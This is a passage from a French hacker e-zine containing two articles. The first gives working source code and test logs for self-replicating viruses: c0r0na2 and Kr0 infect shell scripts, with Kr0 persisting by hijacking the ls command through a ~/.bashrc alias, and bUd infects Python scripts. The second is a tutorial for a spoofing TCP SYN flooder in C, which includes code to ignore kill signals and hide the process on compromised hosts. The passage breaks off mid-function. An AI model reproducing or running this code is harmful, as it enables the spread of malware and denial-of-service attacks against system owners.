XIII. L'attaque des scripts : Épisode 2 Emper0r
---------------------------------------------------------------------------------------
[ Sommaire ]
I/ Introduction.
II/ Optimisation du virus c0r0na.
III/ Fonction permettant de devenir résident.
A/ The fameuse fonction
B/ Kr0: Le code complet
C/ Les tests
D/ Conclusion
IV/ Infection des scripts python.
V/ A venir
I. Introduction :
_________________
Cet article fait suite à mon texte sur l'infection des scripts sous
linux, parut dans IOC#4.
Voici les détails que je voulais ajouter :
o Quelques optimisations des précédent virus.
o Une méthode pour être d'une certaine façon résident
o Infection des scripts python
Je dit 'd'une certaine façon résident' car le virus n'est pas
vraiment résident en mémoire, on détourne une fonction pour l'appeler
à chaque fois.
II. Optimisation du virus c0r0na :
__________________________________
Voici la 2ème version de mon virus c0r0na, j'ai trouvé quelques nouvelles
techniques pour l'optimiser. L'article commençe par ce code car il va nous
servir pour la suite:
Virus parasite c0r0na2 infecteur de shell scripts:
----8<-------------------------------------------------------------------------
#!/bin/sh
#c0r0na2
for f in *
do
if (file $f |grep shell && [ -f $f -a -w $f ] && ! head -n 2 $f |grep c0r0na) >/dev/null;then
cat $f >.a
head -n 11 $0 >$f
cat .a >>$f
rm -f .a
fi;done
----8<-------------------------------------------------------------------------
Petite explication sur le test pour ceux qui non pas l'habitude des shell
scripts:
if #Si
(file $f |grep shell #le fichier trouver '$f' est un shell script
&& #et
[ -f $f -a -w $f ] #qu'il est un fichier accessible en écriture
&& #et
! head -n 2 $f |grep c0r0na) #qu'il ne contient pas de signature virale
>/dev/null; #(Redirection des sortie des grep)
then #Alors: ...
Amélioration de cette version:
- 11 lignes au lieu de 18
- Création d'un seul fichier temporaire au lieu de deux (gain de rapidité)
- 187 octets au lieu de 239
Quasiment toute l'optimisation vient du fait que tous les tests sont
effectués en une seule fois. Je pense qu'il y a peut être encore moyen
de l'améliorer en supprimant la création fichier temporaire qui sert à
la sauvegarde du script original.
Pour d'éventuels tests faites ça sur votre bécane...
III. Fonction permettant de devenir résident :
______________________________________________
Dans mon précédent article, ce qui m'a posé le plus de problèmes c'était
de trouver comment traverser les répertoires pour que mon virus puisse se
propager sur tout le disque.
Ne trouvant pas la solution, quelques recherches sur le net m'ont amenées
sur un article de ThreaT (www.chez.com/mvm) qui a codé une sorte de virus
ressemblant a c0r0na. Le sien traverse très bien les répertoires, et sa
technique est astucieuse.
Il obtient une sorte de mode pseudo-résident en détournent une/des commandes.
A/ The fameuse fonction :
_________________________
Grâce aux alias on peut détourner une commande par ex la commande ls. Les
alias sont écrits dans le ~/.bashrc et fonctionnent de cette façon :
alias ls='commande-a-executer'
Donc ce que nous allons faire c'est détourner la commande ls vers une souche
virale cachée à un endroit et ensuite exécuter le vrai /bin/ls. Voici la petite
fonction qui permet cela et qui sera ajouter a mon virus c0r0na.
---------------8<--------------------------------------------------------------
#!/bin/sh
#Kr0 #nouveau nom, nouvelle signature ;)
if [ ! -f /tmp/.vx ]; then #Teste si la souche virale existe
head -n 25 $0 > /tmp/.vx #sinon on la crée
echo "/bin/ls \$*" >> /tmp/.vx #Ajout de la commande pour exécuter le ls
chmod +x /tmp/.vx #Cette souche doit être exécutable
fi
if ! grep /tmp/.vx ~/.bashrc > /dev/null; then #Teste si commande ls détourné
echo "alias ls='/tmp/.vx'" >> ~/.bashrc #sinon on la détourne
fi
----------------8<-------------------------------------------------------------
B/ Kr0: Le code complet :
_________________________
Virus parasite Kr0 pseudo-résident infecteur de shell scripts, copyleft Emper0r :
----8<-------------------------------------------------------------------------
#!/bin/sh
#Kr0
v=/tmp/.vx
if (! grep $v ~/.bashrc && [ ! -f $v ]) >/dev/null;then
(head -n 15 $0 && echo "/bin/ls \$*") >$v
chmod +x $v
echo "alias ls='$v'" >>~/.bashrc;fi
for f in *
do
if (file $f |grep shell && [ -f $f -a -w $f ] && ! head -n 2 $f |grep Kr0) >/dev/null;then
cat $f >.a
head -n 15 $0 > $f
cat .a >>$f
rm -f .a
fi;done
----8<-------------------------------------------------------------------------
C/ Les tests
____________
Pour mes tests je crée 2 répertoires de test, 'test1' et 'test2' contenant
chacun 10 scripts cobaye.
[emper0r@laptop test1]$ ls -al
total 48
drwxr-xr-x 2 emper0r emper0r 4096 sep 6 15:26 ./
drwxr-xr-x 4 emper0r emper0r 4096 sep 6 15:24 ../
-rwxr-xr-x 1 emper0r emper0r 34 sep 6 15:26 t*
-rwxr-xr-x 1 emper0r emper0r 34 sep 6 15:26 t1*
-rwxr-xr-x 1 emper0r emper0r 34 sep 6 15:26 t2*
-rwxr-xr-x 1 emper0r emper0r 34 sep 6 15:26 t3*
-rwxr-xr-x 1 emper0r emper0r 34 sep 6 15:26 t4*
-rwxr-xr-x 1 emper0r emper0r 34 sep 6 15:26 t5*
-rwxr-xr-x 1 emper0r emper0r 34 sep 6 15:26 t6*
---------- 1 emper0r emper0r 34 sep 6 15:26 t7 <- chmod 000 t7
-r-xr-xr-x 1 emper0r emper0r 34 sep 6 15:26 t8* <- chmod -w t8
---------- 1 emper0r emper0r 34 sep 6 15:26 t9 <- chmod 000 t9
le répertoire test2 est identique, j'ai modifié quelques droits de fichier pour
vérifier qu'aucun message d'erreurs apparaît.
Aller on lançe ce virus :
(Attention si vous voulez le tester alors faite le sur votre bécane,
et uniquement si vous savez ce que vous faites. N'oubliez pas de vous
désinfecter après les tests, même si le virus ne présente aucun danger
direct.)
[emper0r@laptop etudeioc5]$ ./Kr0
[emper0r@laptop etudeioc5]$ cat ~/.bashrc
# .bashrc
# User specific aliases and functions
# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi
alias ls='/tmp/.vx' <- parfait la commande ls est détourné
En fessant un cat /tmp/.vx on peut voir que le fichier contient bien notre souche
virale et le très important:
/bin/ls $* en dernière ligne, ce qui permet d'exécuter la véritable commande ls
tout en gardant les paramètres.
Pour que l'alias soit pris en compte, je doit faire un exit pour delogger.
Je me relog et vais dans mes répertoires de test y faire un petit 'ls' pour
voir si tout ce passe comme prévu.
[emper0r@laptop test1]$ ls -al
total 48
drwxr-xr-x 2 emper0r emper0r 4096 sep 7 03:40 .
drwxr-xr-x 4 emper0r emper0r 4096 sep 6 15:55 ..
-rwxr-xr-x 1 emper0r emper0r 370 sep 7 03:40 t
-rwxr-xr-x 1 emper0r emper0r 370 sep 7 03:40 t1
-rwxr-xr-x 1 emper0r emper0r 370 sep 7 03:40 t2
-rwxr-xr-x 1 emper0r emper0r 370 sep 7 03:40 t3
-rwxr-xr-x 1 emper0r emper0r 370 sep 7 03:40 t4
-rwxr-xr-x 1 emper0r emper0r 370 sep 7 03:40 t5
-rwxr-xr-x 1 emper0r emper0r 370 sep 7 03:40 t6
---------- 1 emper0r emper0r 34 sep 6 15:26 t7
-r-xr-xr-x 1 emper0r emper0r 34 sep 6 15:26 t8
---------- 1 emper0r emper0r 34 sep 6 15:26 t9
Héhé c'est pas beau ca ?! juste en fessant un 'ls' tous les scripts accessible
en écriture on été parfaitement infectés, le ls est bien exécuté avec les
paramètres. En copiant et exécutant un script infecté du répertoire test1 dans
test2, je voit, a l'aide d'un cat, que le script fonctionne toujours et infecte
bien le dossier.
Aucun message d'erreur, les paramètres passés au ls ont bien fonctionnés et les
scripts infecté fonctionne toujours correctement.
Tout ca en simplement 15 lignes et 336 octets !!
Si quelqu'un sait comment encore améliorer ca: mail emper0r@secureroot.com.
Si c'est juste pour gagner 3 octets en supprimant quelques espaces c'est pas
la peine ;)
D/ Conclusions :
________________
Inconvénient de cette technique, c'est pas très discret !
- Ralentit un peu le 'ls' sur de petite bécane ou dans
de gros dossiers.
- Si l'alias du 'ls' est découvert dans le ~/.bashrc c'est
foutu
- Une souche virale cachée avec son chemin écrit dans le ~/.bashrc
Mais cette fois au moins notre virus peut se propager sur tout le disque et
sur le réseau (ex: partage NFS) juste pas un simple ls.
Je ne vois pas d'autre solution pour faire la même chose de façon
plus discrète, sinon il faudrait être root... Si vous avez une autre
solution même totalement différente ou même encore moins discrète je
suis quand même preneur...
IV. Infection des scripts python :
__________________________________
Voici encore un langage de scripts ; celui-ci tourne sous linux/unix
windows & MacOS. Je ne suis vraiment pas un pro du python. Ce virus a
été écrit en une nuit, avec une mini doc sur le python, alors que
je n'avait jamais fait de python avant.
Donc soyez compréhensifs si mon code est pas terrible, merci ;)
Virus parasite bUd infecteur de scripts python, copyleft Emper0r:
----8<-------------------------------------------------------------------------
#!/usr/bin/python
#bUd
import os, sys
fileList = []
dir = './'
fileList = os.listdir(dir) #liste les fichiers du répertoire courant
for file in fileList: #pour chaque fichiers
try:
hdl=open(file, 'r+') #on essaye de l'ouvrir
pyt=hdl.readline()
if pyt == '#!/usr/bin/python\n': #teste si c'est du python
signature = hdl.readline()
if signature != '#bUd\n': #test de signature
hdl.seek(0,0)
f=hdl.read()
hdl2=open(sys.argv[0],'r')#ouvre script courant
hdl.seek(0,0)
a=0
while a != 30: #boucle recopie ligne a ligne
f2=hdl2.readline()
hdl.write(f2)
a = a + 1
hdl2.close()
hdl.close()
hdl=open(file, 'a')
hdl.write(f) #recopie script original en suivant
hdl.close
except: #si on a échoué on passe au suivant
pass
----8<-------------------------------------------------------------------------
Ce virus non optimisé fait 536 octets, même en l'optimisant je ne pense pas que
l'on puisse arriver à le faire aussi petit que son équivalent en Perl, et encore
moins en bash.
Pour les tests je vais me faire un générateur de scripts cobaye :
(Marre de faire ces scripts a la main :) )
#!/bin/sh
#générateur de scripts cobaye
#./gen NomDesFichiers phraseAAfficher NombreDefichiersACrée
x=1
while [ $x -le $3 ]
do
echo "#!/usr/bin/python" > $1$x
echo "print \"$2\"" >> $1$x
chmod +x $1$x
x=`expr $x + 1`
done
[ Fonctionnement ]
[emper0r@laptop python]$ ls
bUd* gen* vx/
[emper0r@laptop etudeioc5]$ ./gen cobaye je-suis-un-script-cobaye 6
[emper0r@laptop python]$ ls
cobaye1* cobaye2* cobaye3* cobaye4* cobaye5* cobaye6* bUd* gen* vx/
[emper0r@laptop python]$ ./cobaye1
je-suis-un-script-cobaye
[emper0r@laptop python]$
Le premier argument est le nom des fichiers crée, ensuite la phrase que le
script cobaye peut afficher, puis le nombre de scripts a générer.
[emper0r@laptop python]$ ls -al
total 44
drwxr-xr-x 3 emper0r emper0r 4096 sep 11 16:00 ./
drwxr-xr-x 5 emper0r emper0r 4096 sep 10 00:35 ../
-rwxr-xr-x 1 emper0r emper0r 51 sep 11 16:00 cobaye1*
-rwxr-xr-x 1 emper0r emper0r 51 sep 11 16:00 cobaye2*
-rwxr-xr-x 1 emper0r emper0r 51 sep 11 16:00 cobaye3*
-rwxr-xr-x 1 emper0r emper0r 51 sep 11 16:00 cobaye4*
-rwxr-xr-x 1 emper0r emper0r 51 sep 11 16:00 cobaye5*
-rwxr-xr-x 1 emper0r emper0r 51 sep 11 16:00 cobaye6*
-rwxr-xr-x 1 emper0r emper0r 536
sep 11 15:47 bUd*
-rwxr-xr-x 1 emper0r emper0r 133 sep 11 15:44 gen*
drwxr-xr-x 2 emper0r emper0r 4096 sep 11 15:17 vx/
[emper0r@laptop python]$ chmod 000 cobaye1
[emper0r@laptop python]$ ./bUd
[emper0r@laptop python]$ ls -al
total 44
drwxr-xr-x 3 emper0r emper0r 4096 sep 11 16:00 ./
drwxr-xr-x 5 emper0r emper0r 4096 sep 10 00:35 ../
---------- 1 emper0r emper0r 51 sep 11 16:00 cobaye1
-rwxr-xr-x 1 emper0r emper0r 583 sep 11 16:01 cobaye2*
-rwxr-xr-x 1 emper0r emper0r 583 sep 11 16:01 cobaye3*
-rwxr-xr-x 1 emper0r emper0r 583 sep 11 16:01 cobaye4*
-rwxr-xr-x 1 emper0r emper0r 583 sep 11 16:01 cobaye5*
-rwxr-xr-x 1 emper0r emper0r 583 sep 11 16:01 cobaye6*
-rwxr-xr-x 1 emper0r emper0r 536 sep 11 15:47 bUd*
-rwxr-xr-x 1 emper0r emper0r 133 sep 11 15:44 gen*
drwxr-xr-x 2 emper0r emper0r 4096 sep 11 15:17 vx/
Voila ça fonctionne ; le virus a infecté les scripts infectables,
n'a pas touché aux autres et n'a pas généré de message d'erreur.
Ces scripts infectés fonctionnent toujours et sont à leur tour
capables d'infecter d'autre script python.
Maintenant pour ceux qui veulent s'amuser on peut ajouter cette
souche, en la modifiant un peu, à mon virus h0egaard3n(voir IOC#4)
pour faire une virus capable d'infecter 3 langages a la fois :)
V. A venir :
____________
Par manque de temps je n'ai pas pu inclure a cette article un
moteur polymorphe, encours de réalisation, pour les virii perl.
Pour ceux que ca interesse il sera normalement très prochainement
dispo sur mon site (www.arbornet.org/~emper0r). J'ai aussi quelques
idées pour améliorer ce moteur polymorphe et faire un petit
métamorphique :)
<< May The Force Be With You... >>
---------------------------------------------------------------------------------------
XIV. Programmation d'un TCP SYN FLOODER Li0n7
---------------------------------------------------------------------------------------
[ Introduction ]
Nous revoila partis pour le continuum de la série d'articles dédiés aux
DoS, nouvelle mouture d'IOC oblige ! Dans le numéro précédent, nous avions
étudié le fonctionnement et la programmation d'un ICMP smurfer, cette fois-
ci nous nous intérésserons à un outil plus en vogue, le TCP SYN FLOODER.
Nous allons passer en revue les différents aspects de ce genre d'attaque,
ptit prog à l'appui, avec épuration de longues théories plus que futiles
(est-ce un pléonasme?!)!
[ Sommaire ]
I. Protocole TCP
II. Datagramme TCP
III.Programmation du flooder
IV. Implémentation
V. Code source
I. Le Protocole TCP :
_____________________
Pour une description quasi-exhaustive du protocole TCP et de son fonction-
-nement, reportez-vous à l'issue #1. Je vais me contenter ici de rappeler
les points les plus importants, caractéristiques de ce protocole. TCP permet
l'envoi de donées sur un réseau entre deux hôtes distants. Ce dernier,
articulé autour d'une architecture multi-couches, se situe au-dessus du
protocole IP, et entretient un contact permanent lui, ce qui lui permet
d'envoyer et de recevoir des segments d'informations de tailles variables
(voir description des champs de l'header). Il faut savoir que le protocole
TCP dépend de l'Internet Protocol, en effet celui-ci s'occupe de la fragmen-
-tation et de l'organisation des paquets TCP reçus lors de la traversée d'un
réseau quelconque. Nous allons voir ci-dessous que le protocole TCP prend en
charge une connexion dit "permanente" entre deux hôtes réseaux distants.
L'établissement de cette connection se divise en trois temps (three ways hand
shake), la machine A envoie un SYN à la machine B, la machine B répond par un
SYN+ACK (ou RST, voir plus bas les bits de contrôle), puis la machine A clôt
le balai en envoyant un paquet porteur du bit ACK. Voici l'organisation des
couches protocoles :
Protocol layering
^ +---------------------+
| | Niveaux supérieurs |
| +---------------------+
| | TCP |\
^ +---------------------+ >- communication
| | IP |/
| +---------------------+
| |Transmissions réseaux| <- couche physique
^ +---------------------+
Deux derniers points importants : lorsqu'on parle de segment fragmentation,
c'est en fait au clivage d'une trame unique en plusieurs paquets différents
de taille moindre que l'on mentionne. Cette trame est ainsi découpée en petits
paquets d'une taille définie sur l'header (champs Options, type 3, voir ci-dessous).
C'est là ou les subtilités commencent. Pour éviter toute perte quelquequ'elle
soit, et pour permettre aux paquets de suivre des chemins différents, l'encom-
-brement des réseaux (et d'autres facteurs), un numéro de séquence leur est
attribué avant envoi. C'est ainsi que lors de leur récéption, ils sont réordon-
-nés pour former la trame complête originale, et cela permet alors une reémission
des paquets perdus du fait qu'à chaque numéro de séquence correspond un numéro
d'acquittement qui fonctionne en parallèle avec son homologue.
Nous allons maintenant survoler la sécurité du protocole TCP, la différence avec
celle de l'IP est flagrante, différence résultant du fait qu'un maintien de la
connection est effectué. On dira alors que le protocole IP est "non-connecté",
ou fonctionne en mode datagrammes, et que TCP est ainsi "connecté" (en réalité
il ne fonctionne qu'en "semi-connecté", mais ceci ne nous intérèsse pas ici).
Vous vous demandez alors comment vérifier la réèlle source d'un paquet autre
que par la lecture du champs source de l'header TCP? C'est ici qu'intervient
l'ISN (Incrementation of Sequence Numbers). Au démarrage de la machine, l'ISN
est initialisé à 1. A chaque seconde écoulée, en réalité à chaque saut réalisé
par le paquet, l'ISN s'incrémente de 128 000 et à chaque connexion établie il
s'incrémente également de 64 000. Lors d'un détournement de session, tel qu'un
IP Spoofing, l'attaquant doit d'une part récupérer le dernier numéro de séquence
de la machine à détourner puis établir des statistiques sur le temps de tranfert
pour enfin en déduire le taux d'incrémentation qu'il va faire subir aux numéros
de séquences de ses paquets pirates. Nous allons passer en revue les différents
champs constituant le datagramme TCP.
II. Datagramme TCP :
____________________
0 16 31
+-------------------------------+-------------------------------+
| Port Source (16) | Port Desination (16) |
+---------------------------------------------------------------+
| Numéro de séquence (32) |
+---------------------------------------------------------------+
| Accusé de récéption (32) |
+---------------------------------------------------------------+
| Data(4)| Réservé |U|A|P|R|S|F| Fenêtre (Window) (16) |
| Offset | (6) | | | | | | | |
+---------------------------------------------------------------+
| Checksum (16) | Pointeur URG_DATAS (16) |
+---------------------------------------------------------------+
| Options (variable) | Padding (variable) |
+---------------------------------------------------------------+
| DONNEES |
+-------------------------------+-------------------------------+
¤ Port source: Le port duquel est envoyé la trame.
¤ Port destination: Le port du destinataire sur lequel il recevra
sa trame réseau.
¤ Numéro de séquence: Propre au protocole TCP, un numéro est attribué
à chaque paquet formant ladite trame. Une fois
arrivés sur l'hôte distant, ils sont réordonnés
selon leur numéro de séquence.
¤ Accusé de récéption: (ou acquittement) Si le ACK est notifié, alors le
champ contiendra le numéro de séquence que le récépteur
s'attend à recevoir.
¤ Data Offset: Représente la taille de l'en-tête TCP en DWORDS (mots de
32 bits), par défaut il pointe sur 5. (5*32=160 bits)
¤ Réservé: Réservé pour usage ultérieur, pointe obligatoirement sur 0.
¤ Flags: Voici les 6 flags caractéristiques à l'header TCP, appelés
aussi bits de contrôle ils régissent le traitement des données
lors de la récéption ou tout simplement le processus de three
ways hand shake.
SYN: Synchronisation
ACK: Acquittement
RST: Connection réinitialisée
FIN: Fin d'envoie de données
URG: Pointeur de données urgentes
PSH: Push les données
¤ Fenêtre(window): Nombre maximum d'octets que le récépteur est capable de
recevoir. Si le nombre dépasse la valeur donnée, alors on
fragmente en plusieurs paquets.
¤ Checksum: Somme de contrôle, calcule le complément à 1 sur 16 bits de la
somme des compléments à 1 des octets de l'en-tête et des données
pris deux par deux (mots de 16 bits). Si le message entier contient
un nombre impair d'octets, un 0 est ajouté à la fin du message pour
terminer le calcul du Checksum. (voir bibli à la fin) En clair cette
fonction, utilisée pour vérifier l'intégrité de l'header propre au
protocole (ici TCP).
¤ Pointeur URG_DATAS: Si le flag URG est définie à 1 alors, en pointant sur
les données urgentes, la positions de ces dites données
est révélée pour un traitement immédiat.
¤ Options: Voici les différentes options proposés par TCP :
Type longueur Valeur Signification
0 - 0x0000000 Fin - options
1 - 0x0000001 No-opération
2 4 0x0000010 Taille maximale ségment
Fin option: Il déterminte la fin de la liste des options, il se
place en dernière position et permet de différencier
le champ Options de celui des données, au cas où il y
aurait débordement. Ceci évite toute erreur lors du
traitement des données.
0x90(NOP!): Organisatieur facultatif, il se place entre différentes
options.
Taille maximale segment: Lors du processus de connection entre deux
hôtes, cet option peut être envoyée en
complément d'un flag SYN pointant sur 1,
pour définir la taille maximum d'un segment (16 bits).
Par défaut la taille d'un segment est variable.
¤ Padding: Le padding ou remplissage, sert à certifier la taille de l'header TCP,
en octets, comme étant un multiple de 4 (32 bits), et à vérifier l'offset
de données comme marquant bien le début des données applicatives.
L'header TCP peut paraître assez imposant, mais il n'en est rien lors de la
programmation. Nous allons, comme lors de notre précédent icmp smurfer, utiliser
les structures correspondantes à nos protocoles contenues dans les librairies
proposées par notre immaculé système fétiche.
III. Programmation du flooder :
________________________________
Nous y voici enfin ! La partie programmation est ludique à souhait !
Réveillez votre désir de création ! Le principe du tcp syn flooding est très simple.
Lorsque vous envoyer un SYN, l'ordinateur distant alloue des ressources pour chaque
connection. De là, nous allons nous contenter d'inonder le système cible sous un nombre
suffisamment important de requètes SYN pour épuiser ses ressources et mettre hors service
la machine attaquée. Notez que ce type d'attaque fait partie intégrante de l'IP spoofing ;-).
Donc nous utiliserons différentes structures pour remplir nos headers IP et TCP:
(un tit cat /usr/include/netinet/ip.h || tcp.h)
[ Header IP ]
(pour la description de l'header IP, reportez-vous à l'issue précédente #ICMP Smurfer)
struct iphdr {
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ihl:4;
unsigned int version:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
unsigned int version:4;
unsigned int ihl:4;
#else
# error "Please fix <bits/endian.h>"
#endif
u_int8_t tos;
u_int16_t tot_len;
u_int16_t id;
u_int16_t frag_off;
u_int8_t ttl;
u_int8_t protocol;
u_int16_t check;
u_int32_t saddr;
u_int32_t daddr;
/*The options start here. */
};
[ Header TCP ]
struct tcphdr {
__u16 source;
__u16 dest;
__u32 seq;
__u32 ack_seq;
#if defined(__LITTLE_ENDIAN_BITFIELD)
__u16 res1:4,
doff:4,
fin:1,
syn:1,
rst:1,
psh:1,
ack:1,
urg:1,
res2:2;
#elif defined(__BIG_ENDIAN_BITFIELD)
__u16 doff:4,
res1:4,
res2:2,
urg:1,
ack:1,
psh:1,
rst:1,
syn:1,
fin:1;
#else
#error "Adjust your <asm/byteorder.h> defines"
#endif
__u16 window;
__u16 check;
__u16 urg_ptr;
};
[ Pseudo header TCP ]
Cette structure du pseudo header TCP est utilisé pour calculer la somme de contrôle,
on définie l'adresse source et destination pour minimiser les pertes de segments sur
le réseau, le protocole (TCP) et la taille du segment. Le char useless est utilisé pour
respecter la limite de 32 bits du segment.
------8<---------------------------------------------------------------------
struct pseudohdr pseudo;
struct tcphdr tcp;
pseudo.saddr = inet_addr("127.0.0.1");
pseudo.daddr = inet_addr("127.0.0.1");
pseudo.useless = htons(0);
pseudo.protocol = IPPROTO_TCP;
pseudo.length = sizeof(struct tcphdr) + sizeof(data);
tcp->check = in_cksum((unsigned short *)&pseudo, sizeof(struct pseudohdr)+sizeof(struct tcphdr));
------8<---------------------------------------------------------------------
Passons dès à présent à l'implémentation de notre programme.
IV. Implémentation :
_____________________
=> En-têtes, variables et structures
=> Fonctions
1) En-têtes, variables et structures :
______________________________________
Je ne vais pas reposer les bases de la programmation raw sockets, nous allons
passer en revue les différentes fonctions autour desquelles notre flooder s'articule.
#include <stdio.h>
#include <linux/ip.h> // structure ip header
#include <linux/tcp.h> // structure tcp header
#include <netinet/in.h> // structure sockaddr_in/in_addr
#include <sys/types.h> // manipulation des threads, objects et données
#include <sys/socket.h> // structures sockaddr
#include <netdb.h> // structures hostent/netent/servent/protoent
#include <unistd.h> // déclaration de types, constantes, fonctions diverses
#include <signal.h> // intéraction avec mécanisme des signaux (voir plus bas)
(j'ai piqué ces constantes au syn flooder de Zakath ;-))
// En ignorant tous ces signaux, le flooder devient beaucoup plus difficile
à supprimer!
#define HEALTY // ignore tous les sinaux sauf Segfault
#define NOSEGV // ignore segfault
#define HIDDEN "emacs" // cache le processus de notre fonction
#define SEQ 0x28376839 // numéro de séquence
struct tcphdr *tcp; // structure générale header TCP
struct iphdr *ip; // structure générale header IP
struct sockaddr_in rhost; // pointeur sur l'adresse destinataire (cible)
struct hostent *source; // pointeur sur adresse source
int synfsock, sock, optval;
char *packet, *buffer;
2) Fonctions :
______________
[ getaddr ]
Cette fonction ne prend qu'un seul argument de type char représentant le nom de
la machine, et permet de vérifier la présence de cet hôte sur le réseaux. Elle
retourne l'adresse réseau de ce dernier au format u_long.
unsigned long getaddr(char *sname){
struct hostent * hip; // notre structure hostent (voir issue précédente)
hip = gethostbyname(sname); // présence de l'hôte
if (!hip){
perror("Adresse invalide"); // en c
exit(1);
}
return *(unsigned long *)hip -> h_addr; // pointeur sur l'adresse au format réseau de la
structure hostent
}
[ set_rnd ]
Lorsque nous allons définir aléatoirement et manuellement des adresses IP, nous aurons
besoin d'une fonction qui déclare en random les différents octets de notre IP: here we are!
Notez qu'elle retourne un type int et prend en argument deux types int, min et max qui sont
les bornes à ne pas dépasser lors du choix aléatoire de l'octet, respectivement: 0 et 255,
soit 256 possibilités.
int set_rnd(int min, int max){
int r; // le type int que nous retournerons
r = rand()%(((max + 1) - (min)) + (min)); // calcul aléatoire de l'octet
return r;
}
[ ip_rnd ]
Et voici notre fonction calculant aléatoirement une IP à l'aide de set_rnd, elle retourne un
pointeur sur l'adresse random créée:
char *ip_rnd(){
int n1, n2, n3, n4; // les octets 1,2,3,4 de notre IP
char *false_ip; // Notre pointeur sur l'adresse random
false_ip = (char *) malloc(1024); // allocation dynamique de mémoire pour notre pointeur (pour éviter les segfault ;-))
n1 = set_rnd(0, 254); // calcul aléatoire de l'octet 1
n2 = set_rnd(0, 254); // calcul aléatoire de l'octet 2
n3 = set_rnd(0, 254); // calcul aléatoire de l'octet 3
n4 = set_rnd(0, 254); // calcul aléatoire de l'octet 4
sprintf(false_ip, "%i.%i.%i.%i", n1, n2, n3, n4); // on réorganise l'ensemble des 4 octets
return false_ip; // et on retourne l'ip créée
}
[ sig_exit, sig_segv ]
Lors de la déclaration de nos constantes, nous avions définis HEALTY et NOSEGV pour éviter à notre
flooder de mordre la poussière sous le premier killer process qui se présente. En effet, dans le cas
ou vous voudriez utiliser cet outil à distance sur une machine rootée, vous allez alors rendre la
tache beaucoup plus difficile à l'admin qui pénera à supprimer le process de notre flooder.
Sig_exit et sig_segv ne retourne rien et prenne en argument un int crap=0, si les macros HEALTY et
NOSEGV ne sont pas reconnues, alors on quitte.
void sig_exit(int crap)
{
#ifndef HEALTHY // macro non existante?
printf("Signal Caught. Exiting Cleanly.\n");
exit(crap); // on quitte
#endif
}
void sig_segv(int crap)
{
#ifndef NOSEGV // macro non existante?
printf("Segmentation Violation Caught. Exiting Cleanly.\n");
exit(crap); // on quitte
#endif
}
[ init_signals ]
Voici la fonction qui ignore un hypothétique signal envoyé au processus de notre flooder.
void init_signals()
{
// les différents signaux connus actuellement
signal(SIGHUP, sig_exit); // hang up
signal(SIGINT, sig_exit); // signal d'interruption terminale
signal(SIGQUIT, sig_exit); // signal d'arrêt final
signal(SIGILL, sig_exit); // instruction illégale
signal(SIGTRAP, sig_exit); // trace/breakpoint trap
signal(SIGBUS, sig_exit); // accès à une portion non définie de mémoire
signal(SIGFPE, sig_exit); // opération arithmétique érronée
signal(SIGKILL, sig_exit); // killer signal, il ne peut être ignoré
signal(SIGUSR1, sig_exit); // signal, définis par l'utilisateur, 1
signal(SIGSEGV, sig_segv); // utilisation érronée de mémoire
signal(SIGUSR2, sig_exit); // signal, définis par l'utilisateur, 2
signal(SIGPIPE, sig_exit); // écriture sur un pipe (écriture seulement)
signal(SIGALRM, sig_exit); // alarme horloge
signal(SIGTERM, sig_exit); // Signal de terminaison
signal(SIGCHLD, sig_exit); // child process stoppé ou terminé
signal(SIGCONT, sig_exit); // continué l'éxécution en cas d'arrêt
signal(SIGSTOP, sig_exit); // fin d'éxécution (ne peut être ignoré)
signal(SIGTSTP, sig_exit); // signal stop finale
signal(SIGTTIN, sig_exit); // lecture d'un processus en arrière plan (background process)
signal(SIGTTOU, sig_exit); // écriture sur un processus en arrière plan (background process)
signal(SIGURG, sig_exit); // bande passante données important disponible pour un socket
signal(SIGXCPU, sig_exit); // limite temps CPU atteinte
signal(SIGXFSZ, sig_exit); // taille limite d'un fichier atteinte
signal(SIGVTALRM, sig_exit); // Temps maximum du timer virtuel atteint
signal(SIGPROF, sig_exit); // profiling timer expiré
signal(SIGIOT, sig_exit); // ?
signal(SIGWINCH, sig_exit); // ?
signal(SIGIO, sig_exit); // ?
signal(SIGPWR, sig_exit); // ?
}
[ synflood ]
Notre dernière fonction, la plus importante, elle prend cinq arguments:
o u_long ipspoofee: ce ne peut être plus clair, notre adresse source spoofée (random ou définie par l'utilisateur).
o u_long acbile: l'adresse de notre cible.
o int x: il joue le rôle d'un boolean, il retourne 1 si l'IP doit être créée en random ou 0 sinon.
o int nbrp: nombre totale de paquets à envoyer.
o int max_ports: le plus grand port de destination.
Nous allons donc d'une part concaténer deux boucles, l'une pour le nombre de paquets à envoyer, l'autre pour
le nombre de ports de destination, et ensuite définir une ip en random si x==0, puis forger nos headers IP
et TCP en nous contentant de remplir les différents champs propres aux structures associées. Notez que que
nous utiliserons la fonction setsockopt() pour attribuer des fonctions à notre socket. Voici sa syntaxe:
setsockopt(int s, int level, int optname, const void *optval, socklen_t optlen);
o int s: spécifie une socket pour laquelle une option doit être établie.
o int level: spécifie si l'opération s'applique à la socket elle même ou au protocole en cours d'utilisation. La socket
est représenté par la constant SOL_SOCKET, alors qu'un autre protocole requière son numéro (cat etc/protocols).
o int optname: spécifie une option simple à laquelle la requête s'applique.
o const void *optval: la valeur de l'option.
o socklen_t optlen: la taille de la valeur précédente.
En cas d'échec, setsockopt() retourne -1 en affichant l'erreur correspondante (en réalite un numéro d'erreur):
o EBADF: s n'est pas un descripteur valide.
o ENOTSOCK: s n'est pas un socket descriptor.
o ENOPROTOOPT: l'option optname est inconnue.
o EFAULT: optval n'est pas un pointeur valide.
Comme nous forgeons manuellement nos paquets, optname retournera l'option IP_HDRINCL indiquant au système
de ne pas générer d'en-tête IP.
int synflood(unsigned long ipspoofee, unsigned long acible, int x, int nbrp, int max_ports)
{
// nos variables
char *paquet, *fip;
int i, j, preussi=-1, pechou=0;
printf("x=%i\n", x);
for(i=0;i<=nbrp;i++) // première boucle (nombre de paquets total à envoyer)
{
for(j=1; j<=max_ports; j++) // seconde boucle concaténer (valeur actuelle du port de destination)
{
if (x==1) // si x==1 alors on choisie une IP aléatoire
ipspoofee = getaddr(ip_rnd());
// allocation dynamique de mémoire, pour notre paquet et nos headers merci à [p]lug
packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr));
buffer = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr));
ip = (struct iphdr *) packet;
tcp = (struct tcphdr *) (packet + sizeof(struct iphdr));
// remplissage de notre header IP
ip->ihl = 5; // IHL (5 minimum)
ip->version = 4; // numéro de version (4)
